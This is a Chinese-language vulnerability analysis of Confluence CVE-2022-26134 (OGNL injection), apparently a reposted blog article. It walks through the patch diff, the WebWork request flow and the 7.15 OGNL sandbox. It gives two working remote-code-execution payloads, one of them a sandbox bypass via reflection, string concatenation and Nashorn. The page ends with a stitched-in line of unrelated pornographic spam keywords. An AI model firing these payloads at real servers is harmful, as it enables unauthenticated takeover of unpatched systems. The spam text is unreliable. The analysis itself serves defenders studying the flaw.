1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        confluence-CVE-2022-26134漏洞分析

        共 17106字,需瀏覽 35分鐘

         ·

        2022-06-26 13:49

        漏洞背景

        官方鏈接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

        SummaryCVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center
        Advisory Release Date02 Jun 2022 1 PM PDT (Pacific Time, -7 hours)
        Affected ProductsConfluenceConfluence ServerConfluence Data Center
        Affected VersionsAll supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected.
        Fixed Versions7.4.17
        7.13.7
        7.14.3
        7.15.2
        7.16.4
        7.17.4
        7.18.1

        所有版本的 Confluence 和 DataCenter 都會受影響

        臨時修復(fù)方式:

        • 7.15.0-7.18.0: 替換xwork-1.0.3-atlassian-10.jar文件
        • 6.0.0-7.14.2: 替換以下文件
          • xwork-1.0.3-atlassian-10.jar
          • webwork-2.1.5-atlassian-4.jar
          • CachedConfigurationProvider.class

        代碼分析

        diff 補(bǔ)丁

        xwork-1.0.3-atlassian-10.jar和低版本進(jìn)行反編譯 diff

        區(qū)別在于將

        finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack())
        finalActionName = TextParseUtil.translateVariables(this.actionName, stack))

        修改為

        finalNamespace = this.namespace, 
        finalActionName = this.actionName

        少了TextParseUtil.translateVariables()的流程

        該函數(shù)處理調(diào)用了

        Object o = OgnlValueStack.findValue(g);

        ...

        Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);

        較為明顯的ognl表達(dá)式注入,那我們來看一下具體的觸發(fā)流程。

        WebWork 框架分析

        Confluence 使用 WebWork 框架,框架調(diào)用流轉(zhuǎn)圖, 整個 HTTP 請求邏輯是隨著這個框架處理流程來的。

        1. 客戶發(fā)起 HTTP 流程訪問
        2. 按照 servlet 規(guī)范,先由 filter 進(jìn)行處理,然后由 WebWork 核心控制器 ServletDispatcher 進(jìn)行處理
        3. WebWork 根據(jù) xwork.xml 配置文件 來處理請求:在配置文件中定義路由對應(yīng)的攔截器,業(yè)務(wù)邏輯,業(yè)務(wù)邏輯響應(yīng)等部分
        4. 先依次調(diào)用攔截器(before),然后再由業(yè)務(wù)邏輯處理
        5. 根據(jù)業(yè)務(wù)邏輯返回的響應(yīng)類型對響應(yīng)進(jìn)行渲染
        6. 依次調(diào)用攔截器(after),然后將響應(yīng)輸出

        confluence 在web.xml中引入WebWork框架配置

        <servlet>
         <servlet-name>action</servlet-name>
         <servlet-class>com.atlassian.confluence.servlet.ConfluenceServletDispatcher</servlet-class>
         <load-on-startup>1</load-on-startup>
        </servlet>


        <servlet-mapping>
         <servlet-name>action</servlet-name>
         <url-pattern>*.action</url-pattern>
        </servlet-mapping>

        ConfluenceServletDispatcher基類com.opensymphony.webwork.dispatcher.ServletDispatcher

        框架配置說明文件:xwork.xml文件,在 jar 包confluence-版本號.jar

        對配置文件進(jìn)行說明

        一個Demo ??

        action 映射邏輯,指定 url 映射的處理類

        請求如下的url/person/jasperList.action

        1. package 命名空間 name:person, namespace person , 對應(yīng)一級路徑
        2. action 最小的處理單元,name:jasperList, 對應(yīng)二級路徑,class 處理類:com.opensymphony.webwork.showcase.jasper.JasperAction
        3. result 響應(yīng)結(jié)果是枚舉類型 "success", 響應(yīng)類型為 jasper
        4. param 參數(shù):參數(shù)名和參數(shù)類型

        再舉一個例子 login.action

        confluence 7.4.10 版本 xwork.xml 文件,default命名空間下的login action,訪問路徑/login.action

        1. package 命名空間 name:default,在未匹配到命名空間的情況下映射到該命名空間處理。(注意此刻一級目錄為空)
        2. action name:login, class 處理類:com.atlassian.confluence.user.actions.LoginAction , 處理方法doDefault
        3. interceptor-refvalidatingStack,引用攔截器validatingStack
        4. 響應(yīng)結(jié)果input, 類型為 velocity,使用login.vm進(jìn)行渲染

        interceptor-ref配置的攔截器集合validatingStack,其中又引用了defaultStack,captcha,validator,workflow,profiling等攔截器, 攔截器集合是可以進(jìn)行嵌套的。

         <interceptor-stack name="validatingStack">
         <interceptor-ref name="defaultStack"/>

         <!--Must come after pageAware and spaceAware, as the view rendered in a response to a failed validation may access properties of page and/or space objects.-->
         <interceptor-ref name="captcha"/>

         <interceptor-ref name="validator"/>
         <interceptor-ref name="workflow"/>
         <interceptor-ref name="profiling">
          <param name="location">After validatingStack</param>
         </interceptor-ref>
        </interceptor-stack>

        再再舉一個例子 index.action

        default命名空間下,默認(rèn)訪問的 action 為index,訪問根目錄會使用index進(jìn)行響應(yīng)

        <action name="index" class="com.atlassian.confluence.core.actions.IndexAction">
         <interceptor-ref name="defaultStack"/>
         <result name="redirect" type="redirect">${location}</result>
         <result name="forward" type="dispatcher">${location}</result>
        </action>

        配置了defaultStack進(jìn)行處理

        看一下defaultStack攔截器的配置,注意攔截器是按照配置依次調(diào)用的,存在順序。

        <interceptor-stack name="defaultStack">
         <interceptor-ref name="profiling">
          <param name="location">Before defaultStack</param>
         </interceptor-ref>
         <interceptor-ref name="securityHeaders"/>
         <interceptor-ref name="setupIncomplete"/>
         <interceptor-ref name="transaction"/>
         <interceptor-ref name="params"/>
         <interceptor-ref name="autowire"/>
         <interceptor-ref name="lastModified"/>
         <interceptor-ref name="servlet"/>
         <interceptor-ref name="flashScope"/>
         <interceptor-ref name="confluenceAccess"/>
         <interceptor-ref name="spaceAware"/>
         <interceptor-ref name="pageAware"/>
         <interceptor-ref name="commentAware"/>
         <interceptor-ref name="userAware"/>
         <interceptor-ref name="prepare"/>
         <!-- Must come after pageAware and spaceAware to make sure that pages and spaces are loaded-->
         <!-- Must come before permissions as isPermitted might require some bootstrapping-->
         <interceptor-ref name="bootstrapAware"/>
         <interceptor-ref name="permissions"/>
         <!-- It's a good idea to put this after the permissions check, in case you can determine the existence
           of a space by whether the error page is themed! -->
         <interceptor-ref name="themeContext"/>

         <interceptor-ref name="webSudo"/>
         <interceptor-ref name="httpMethodValidator"/>
         <!--Must come after pageAware and spaceAware since at the moment, some implementations of ConfluenceActionSupport.getCancelResult(), do work against the database with pages and spaces.-->
         <!--Also must come before captcha, else a form with captcha won'
        t be cancellable. Also must come before the validator (as validation should be skipped on cancel)-->
         <interceptor-ref name="cancel"/>

         <interceptor-ref name="loggingContext"/>
         <interceptor-ref name="eventPublisher"/>
         <interceptor-ref name="messageHolder"/>
         <interceptor-ref name="httpRequestStats"/>
         <interceptor-ref name="licenseChecker"/>
         <interceptor-ref name="xsrfToken"/>
         <interceptor-ref name="profiling">
          <param name="location">After defaultStack</param>
         </interceptor-ref>
        </interceptor-stack>

        關(guān)注其中的confluenceAccess攔截器,該攔截器定義如下

        <interceptor name="confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />

        intercept 函數(shù)

        如果!this.isAccessPermitted(actionInvocation)返回為否,那么調(diào)用actionInvocation.invoke(), 調(diào)用下一個 intercept,如果返回為,也就是沒有權(quán)限,返回為notpermitted。

        默認(rèn)未授權(quán)訪問,即action=index時,是沒有權(quán)限的,此刻會響應(yīng)notpermittedresult類型之一

        如果授權(quán)會調(diào)用actionInvocation.invoke(),調(diào)用下一個攔截器,如果響應(yīng)resultCode,會調(diào)用this.execuResult(), 大家可以回想一下 WebWork 的數(shù)據(jù)流圖。代碼邏輯如下

        如果響應(yīng)有權(quán)限,那么會遞歸調(diào)用actionInvocation.invoke(), 否則輸出 resultCode,進(jìn)入 executeResult()。

        接下來跟蹤調(diào)用棧,ActionChainResult#exec調(diào)用了TextParseUtil@translateVariables, 然后就快進(jìn)到 ongl 表達(dá)式的執(zhí)行流程了

        可知 namespace 是我們可控的 url 路徑參數(shù)

        可以函數(shù)com.opensymphony.xwork.util.OgnlValueStack#findValue看到調(diào)用Ognl.getValue即可造成 ognl 代碼執(zhí)行

        相應(yīng)poc如下

        GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1
        Host: 10.211.55.8:8090
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB
        Upgrade-Insecure-Requests: 1

        繞沙箱

        關(guān)注一下com.opensymphony.xwork.util.OgnlValueStack#findValue實現(xiàn)

        官方說明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html

        在 7.15 版本中添加,阻止對 java 特定類和特定包訪問,與https://struts.apache.org/security/#internal-security-mechanism相似

        表達(dá)式經(jīng)過safeExpressionUtil.isSafeExpression判斷

        com.opensymphony.xwork.util.SafeExpressionUtil沙箱類分析

        關(guān)鍵配置

        • xwork.excludedClasses - a comma-separated list of excluded classes.

        • xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.

        • xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.

        黑白名單列表

        <constant name="xwork.excludedClasses"
         value="
         java.lang.Object,
         java.lang.Runtime,
         java.lang.System,
         java.lang.Class,
         java.lang.ClassLoader,
         java.lang.Shutdown,
         java.lang.ProcessBuilder,
         java.lang.Thread,
         sun.misc.Unsafe,
         com.opensymphony.xwork.ActionContext
         java.lang.Compiler,
         java.lang.InheritableThreadLocal,
         java.lang.Package,
         java.lang.Process,
         java.lang.RuntimePermission,
         java.lang.SecurityManager,
         java.lang.ThreadGroup,
         java.lang.ThreadLocal,
         javax.script.ScriptEngineManager,
         javax.servlet.ServletContext,
         javax.persistence.EntityManager,
         org.apache.tomcat.InstanceManager,
         org.springframework.context.ApplicationContext,
         com.atlassian.applinks.api.ApplicationLinkRequestFactory,
         com.atlassian.core.util.ClassLoaderUtils,
         com.atlassian.core.util.ClassHelper"
         />

         <constant name="xwork.excludedPackageNames"
         value="
         ognl,
         java.io,
         java.net,
         java.nio,
         javax,
         freemarker.core,
         freemarker.template,
         freemarker.ext.jsp,
         freemarker.ext.rhino,
         sun.misc,
         sun.reflect,
         javassist,
         org.apache.velocity,
         org.objectweb.asm,
         org.springframework.context,
         com.opensymphony.xwork.util,
         org.apache.tomcat,
         org.apache.catalina.core,
         org.wildfly.extension.undertow.deployment
         java.lang.reflect,
         com.atlassian.cache,
         com.atlassian.confluence.util.http,
         com.atlassian.failurecache,
         com.atlassian.vcache,
         com.atlassian.sal.api.net,
         com.google.common.cache,
         com.google.common.net,
         com.hazelcast,java.jms,
         java.rmi,
         javax.management,
         javax.naming,
         org.apache.catalina.session,
         org.apache.commons.httpclient,
         org.apache.httpcomponents.httpclient,
         org.apache.http.client,
         org.ehcache,
         com.google.common.reflect,
         com.sun.jmx,com.sun.jna,
         javax.xml,jdk.nashorn,
         net.bytebuddy,
         net.sf.cglib,org.apache.bcel,
         org.javassist,org.ow2.asm,
         sun.awt.shell,
         sun.corba,
         sun.invoke,
         sun.launcher,
         sun.management,
         sun.misc,
         sun.net,
         sun.nio,
         sun.print,
         sun.reflect,
         sun.rmi,
         sun.security,
         sun.tracing,
         sun.tools.jar,
         com.atlassian.activeobjects,
         com.atlassian.hibernate,
         java.sql,
         javax.persistence,
         javax.sql,
         liquibase,
         net.java.ao,
         net.sf.hibernate,
         com.atlassian.confluence.setup.bandana,
         com.atlassian.filestore,
         com.atlassian.media,
         com.google.common.io,
         java.util.jar,
         java.util.zip,
         org.apache.commons.io,
         com.atlassian.confluence.impl.util.sandbox,
         com.atlassian.confluence.util.io,
         com.atlassian.confluence.util.sandbox,
         com.atlassian.quartz,
         com.atlassian.scheduler,
         com.atlassian.utils.process,
         com.atlassian.util.concurrent,
         io.atlassian.util.concurrent,
         java.util.concurrent,
         org.apache.commons.exec,
         org.springframework.expression.spel,
         org.springframework.util.concurrent,
         org.quartz,
         oshi"
         />

        <constant name="xwork.allowedClasses"
         value="com.atlassian.confluence.util.GeneralUtil,
          java.io.Serializable,
          java.lang.reflect.Proxy,
          net.sf.hibernate.proxy.HibernateProxy,
          net.sf.cglib.proxy.Factory,
          java.io.ObjectInputValidation,
          net.java.ao.Entity,
          net.java.ao.RawEntity,
          net.java.ao.EntityProxyAccessor"
         />

        沙箱核心邏輯,調(diào)用OgnlUtil.compile對表達(dá)式進(jìn)行解析,對每一個 node compile 之后進(jìn)行遞歸的安全判斷。

         private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
         if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
          if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
           return false;
          }

          if (this.isUnSafeClass(expression)) {
           this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
           return false;
          }

          if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
           this.SAFE_EXPRESSIONS_CACHE.add(expression);
          } else {
           try {
            Object parsedExpression = OgnlUtil.compile(expression);
            if (parsedExpression instanceof Node) {
             if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
              this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
              log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
             } else {
              this.SAFE_EXPRESSIONS_CACHE.add(expression);
             }
            }
           } catch (RuntimeException | OgnlException var4) {
            this.SAFE_EXPRESSIONS_CACHE.add(expression);
            log.debug("Cannot verify safety of OGNL expression", var4);
           }
          }
         }

         return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
        }

        通過字符串拼接的方式繞過 node 類型為ASTconstant判斷邏輯

        private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
         String nodeClassName = node.getClass().getName();
         if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
          return true;
         } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
          return true;
         } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
          return true;
         } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
          return true;
         } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
          return true;
         } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
          return true;
         } else {
          for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
           Node childNode = node.jjtGetChild(i);
           if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
            return true;
           }
          }

          return false;
         }
        }

        兩個關(guān)鍵點

        1. 利用反射構(gòu)造惡意對象及實例
        2. 利用字符串拼接繞過常量匹配

        對應(yīng) poc 如下

        /%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/ 



        往期精彩文章




        CVE-2022-27925 Zimbra Collaboration 存在路徑穿越漏洞最終導(dǎo)致RCE
        記一次IIS-Raid后門應(yīng)急經(jīng)歷
        ThinkPHP常見框架漏洞復(fù)現(xiàn)分析
        域滲透之外網(wǎng)打點到三層內(nèi)網(wǎng)
        團(tuán)隊招人進(jìn)行時!期待優(yōu)秀的你加入


        技術(shù)支持:白帽子社區(qū)團(tuán)隊
        — 掃碼關(guān)注我們 



        瀏覽 47
        點贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報
        評論
        圖片
        表情
        推薦
        點贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            999色视频 | 久久久久国产精品 | 欧美老妇精品一区二区 | 男生jj捅女生jj | 操屄自拍 | 爆艹黑丝美女 | 亚洲小姑娘操逼 | 日韩性爱视频网站 | 国内视频自拍 | 黄色成人视频在线免费观看 |